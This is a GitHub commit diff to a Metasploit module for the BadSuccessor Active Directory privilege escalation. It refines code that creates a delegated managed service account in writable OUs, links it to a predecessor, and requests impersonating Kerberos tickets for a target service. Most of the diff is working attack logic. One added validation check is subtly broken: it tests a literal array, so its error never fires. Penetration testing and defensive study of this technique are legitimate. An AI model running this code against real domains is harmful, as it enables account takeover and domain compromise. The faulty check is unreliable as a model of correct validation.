Skip to content

Commit 32d63e4

Browse files
authored
Merge pull request #8 from smcintyre-r7/pr/collab/20472
Option Edge Case Handling For BadSuccessor
2 parents ac4b04b + 205c93e commit 32d63e4

File tree

1 file changed

+48
-12
lines changed

1 file changed

+48
-12
lines changed

modules/auxiliary/admin/ldap/bad_successor.rb

Lines changed: 48 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -77,6 +77,24 @@ def windows_version_vulnerable?
7777
true
7878
end
7979

80+
def validate
81+
errors = {}
82+
83+
unless %w[ auto ntlm plaintext]
84+
# if AUTO changes in the future to not require a password, we'll need to reevaluate this
85+
errors['LDAP::Auth'] = 'Only password-based LDAP authentication methods are supported with this exploit.'
86+
end
87+
88+
case action.name
89+
when 'GET_TICKET'
90+
if %w[ auto ntlm ].include?(datastore['LDAP::Auth']) && Net::NTLM.is_ntlm_hash?(datastore['LDAPPassword'].encode(::Encoding::UTF_16LE))
91+
errors['LDAPPassword'] = 'The GET_TICKET action is incompatible with LDAP passwords that are NTLM hashes.'
92+
end
93+
end
94+
95+
raise Msf::OptionValidateError.new(errors) unless errors.empty?
96+
end
97+
8098
def check
8199
ldap_connect do |ldap|
82100
validate_bind_success!(ldap)
@@ -107,9 +125,13 @@ def check
107125
Exploit::CheckCode::Appears
108126
end
109127
rescue Errno::ECONNRESET
110-
return Exploit::CheckCode::Unknown('The connection was reset')
111-
rescue Rex::ConnectionError, Net::LDAP::Error => e
112-
return Exploit::CheckCode::Unknown(e.message)
128+
fail_with(Failure::Disconnected, 'The connection was reset.')
129+
rescue Rex::ConnectionError => e
130+
fail_with(Failure::Unreachable, e.message)
131+
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
132+
fail_with(Failure::NoAccess, e.message)
133+
rescue Net::LDAP::Error => e
134+
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
113135
end
114136

115137
def get_ous_we_can_write_to
@@ -153,16 +175,17 @@ def query_ldap_server(raw_filter, attributes, base_prefix: nil)
153175
end
154176

155177
def create_dmsa(account_name, writeable_dn, group_membership)
156-
sam_account_name = account_name + '$' unless account_name.ends_with?('$')
178+
sam_account_name = account_name
179+
sam_account_name += '$' unless sam_account_name.ends_with?('$')
157180
dn = "CN=#{account_name},#{writeable_dn}"
158-
print_status("Attempting to create dmsa account cn: #{account_name}, dn: #{dn}")
181+
print_status("Attempting to create dMSA account CN: #{account_name}, DN: #{dn}")
159182

160183
dmsa_attributes = {
161184
'objectclass' => ['top', 'person', 'organizationalPerson', 'user', 'computer', 'msDS-DelegatedManagedServiceAccount'],
162185
'cn' => [account_name],
163186
'useraccountcontrol' => ['4096'],
164187
'samaccountname' => [sam_account_name],
165-
'dnshostname' => ["#{Faker::Name.first_name}.#{datastore['LDAPDomain']}"],
188+
'dnshostname' => ["#{Faker::Name.first_name}.#{domain_dns_name}"],
166189
'msds-supportedencryptiontypes' => ['28'],
167190
'msds-managedpasswordinterval' => ['30'],
168191
'msds-groupmsamembership' => [group_membership],
@@ -211,7 +234,8 @@ def set_dmsa_attributes(dn, delegated_state, preceded_by_link)
211234
end
212235

213236
def query_account(account_name)
214-
account_name = datastore['DMSA_ACCOUNT_NAME'] + '$' unless datastore['DMSA_ACCOUNT_NAME'].ends_with?('$')
237+
account_name = datastore['DMSA_ACCOUNT_NAME']
238+
account_name += '$' unless account_name.ends_with?('$')
215239
entry = adds_get_object_by_samaccountname(@ldap, account_name)
216240

217241
if entry.nil?
@@ -245,6 +269,18 @@ def get_group_memebership(sid)
245269
sd
246270
end
247271

272+
def domain_dns_name
273+
return @domain_dns_name if @domain_dns_name
274+
275+
if @ldap
276+
@domain_dns_name = adds_get_domain_info(@ldap)[:dns_name]
277+
else
278+
ldap_connect { |ldap| @domain_dns_name = adds_get_domain_info(ldap)[:dns_name] }
279+
end
280+
281+
@domain_dns_name
282+
end
283+
248284
def action_create_dmsa
249285
ldap_connect do |ldap|
250286
validate_bind_success!(ldap)
@@ -259,7 +295,7 @@ def action_create_dmsa
259295
end
260296

261297
@ldap = ldap
262-
currrent_user_info = adds_get_object_by_samaccountname(ldap, datastore['LDAPUsername'])
298+
currrent_user_info = adds_get_current_user(@ldap)
263299
sid = Rex::Proto::MsDtyp::MsDtypSid.read(currrent_user_info[:objectsid].first)
264300

265301
# Get vulnerable OUs
@@ -319,11 +355,11 @@ def action_get_ticket
319355
impersonate = datastore['DMSA_ACCOUNT_NAME']
320356
impersonate += '$' unless impersonate.ends_with?('$')
321357
get_dmsa_tgs_options = {
322-
'DOMAIN' => datastore['LDAPDomain'],
358+
'DOMAIN' => domain_dns_name,
323359
'PASSWORD' => datastore['LDAPPassword'],
324360
'rhosts' => datastore['RHOST'],
325361
'username' => datastore['LDAPUsername'],
326-
'SPN' => "krbtgt/#{datastore['LDAPDomain']}",
362+
'SPN' => "krbtgt/#{domain_dns_name}",
327363
'action' => 'get_tgs',
328364
'IMPERSONATE' => impersonate,
329365
'IMPERSONATE_TYPE' => 'dmsa',
@@ -341,7 +377,7 @@ def action_get_ticket
341377
# Lastly request the ticket for the desired service:
342378
get_priv_esc_tgs_options = {
343379
'username' => impersonate,
344-
'SPN' => "#{datastore['SERVICE']}/#{datastore['RHOSTNAME']}.#{datastore['LDAPDomain']}",
380+
'SPN' => "#{datastore['SERVICE']}/#{datastore['RHOSTNAME']}.#{domain_dns_name}",
345381
'action' => 'get_tgs',
346382
'krb5ccname' => temp_ccache_file.path,
347383
'PASSWORD' => :unset,
@@ -360,7 +396,7 @@ def action_get_ticket
360396
def init_authenticator(options = {})
361397
options.merge!({
362398
host: rhost,
363-
realm: datastore['LDAPDomain'],
399+
realm: domain_dns_name,
364400
username: datastore['LDAPUsername'],
365401
password: datastore['LDAPPassword'],
366402
framework: framework,

0 commit comments

Comments
 (0)